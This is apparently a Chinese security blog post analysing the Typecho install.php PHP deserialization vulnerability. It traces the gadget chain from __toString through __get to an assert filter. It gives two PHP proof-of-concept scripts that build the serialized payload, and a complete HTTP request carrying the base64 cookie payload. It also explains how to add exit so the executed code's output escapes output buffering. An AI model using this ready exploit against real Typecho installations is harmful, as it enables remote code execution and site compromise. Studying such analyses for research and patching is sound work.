再看Typecho

date
Jun 16, 2021
slug
Typecho-unserialize-analyse
status
Published
tags
PHP安全
安全研究
summary
重新自己分析一下
type
Post
以前看的时候没觉得这么精彩,现在看是真的神了
因为套代码在反序列化触发的地方存在spl_autoload_register就不需要再搞什么命名空间了(这个点想起P牛那篇CSRF反序列化那篇文章)
这个点会动态包含Typecho_Common类所在文件位置的当前目录的类文件,这也个位置也是typecho功能类所在的目录了
notion image
 
观察触发点:
install.php
是在cookie处获取的内容,这个文件一共有两处地方,也就是两个出发点,但是这两处地方都是需要构造一定的条件,先把链条构造出来
notion image
这里比较奇特的地方在于并不是像其他框架那样走的是__destruct 函数,走的是__toString函数开始,当对象实例化之后利用new Typecho_Db($config['adapter'], $config['prefix']); 这个代码里面的构造函数实现对__toString函数的调用,妙
notion image
全场__toString有三处地方,其中\Typecho_Feed::__toString 比较可以利用的,此时利用了第二个比较巧妙的点,就是使用了__get函数 ,这个函数在类里面去调用不存在的变量时会调用该方法,所以此时就会选中var/Typecho/Feed.php:290这一行代码触发,但是这个文件里面不止这一个触发点,还有好几处,这里面的$item变量是我们可控的
notion image
最后选择\Typecho_Request::__get 触发,这给点应该是最快能到达sink的地方,其他地方没仔细看
notion image
 
此时就可以构造poc:
<?php
class Typecho_Request{
    private $_filter;
    private $_params;
    public function __construct()
    {
        $this->_filter = array("assert");
        $this->_params = array("screenName" => "phpinfo();");
    }
}


class Typecho_Feed{
    private $_type;
    private $_items;
    public function __construct()
    {
        $this->_type = "RSS 2.0";
        $this->_items = array(array("author"=>new Typecho_Request()));
    }


}

$a = array(
    "adapter" => new Typecho_Feed(),
    "prefix" => "test"
);

echo base64_encode(serialize($a));
 
然后发包,发现还需要一些条件,可以自己调试一下需要满足什么条件,需要构造一个finish参数还有一个referer头为和地址一样的http格式并且得带上端口,比如我这里就是http://10.101.168.140:5080
但是调用完这一切之后,发现只能返回500,报错了
notion image
这个点主要就是install.php调用了ob_start()的问题,我们exp触发了原本的exception,导致ob_end_clean()执行,原本的输出会在缓冲区被清理。
此时解决的方法就是强制退出,参考文章的作者提出两种方案:
1、因为call_user_func函数处是一个循环,我们可以通过设置数组来控制第二次执行的函数,然后找一处exit跳出,缓冲区中的数据就会被输出出来。
2、第二个办法就是在命令执行之后,想办法造成一个报错,语句报错就会强制停止,这样缓冲区中的数据仍然会被输出出来。
参考作者的poc使用了第二种,使用数据库去进行报错,但其实都不需要,直接就在原来的地方改用eval代码执行处加上;exit; 即可完成调用,因为assert支持一句话的执行效果
最后的poc:
<?php
class Typecho_Request{
    private $_filter;
    private $_params;
    public function __construct()
    {
        $this->_filter = array("assert");
        $this->_params = array("screenName" => "eval('phpinfo();exit();');");
    }
}


class Typecho_Feed{
    private $_type;
    private $_items;
    public function __construct()
    {
        $this->_type = "RSS 2.0";
        $this->_items = array(array("author"=>new Typecho_Request()));
    }


}

$a = array(
    "adapter" => new Typecho_Feed(),
    "prefix" => "test"
);

echo base64_encode(serialize($a));
触发报文:
GET /install.php?finish HTTP/1.1
Host: 10.101.168.140:5080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36 Edg/91.0.864.37
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: http://10.101.168.140:5080
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MjY6ImV2YWwoJ3BocGluZm8oKTtleGl0KCk7Jyk7Ijt9fX19fXM6NjoicHJlZml4IjtzOjQ6InRlc3QiO30=
Connection: close
后面又看了一下,发现走start函参数条件的不可行,但是另外一个__toString方法可以调用__call方法,此处参考的这篇文章,用的PHP原生类触发SSRF:https://www.crisprx.top/archives/243
还是得多思考!!!!

© 4me 2021 - 2024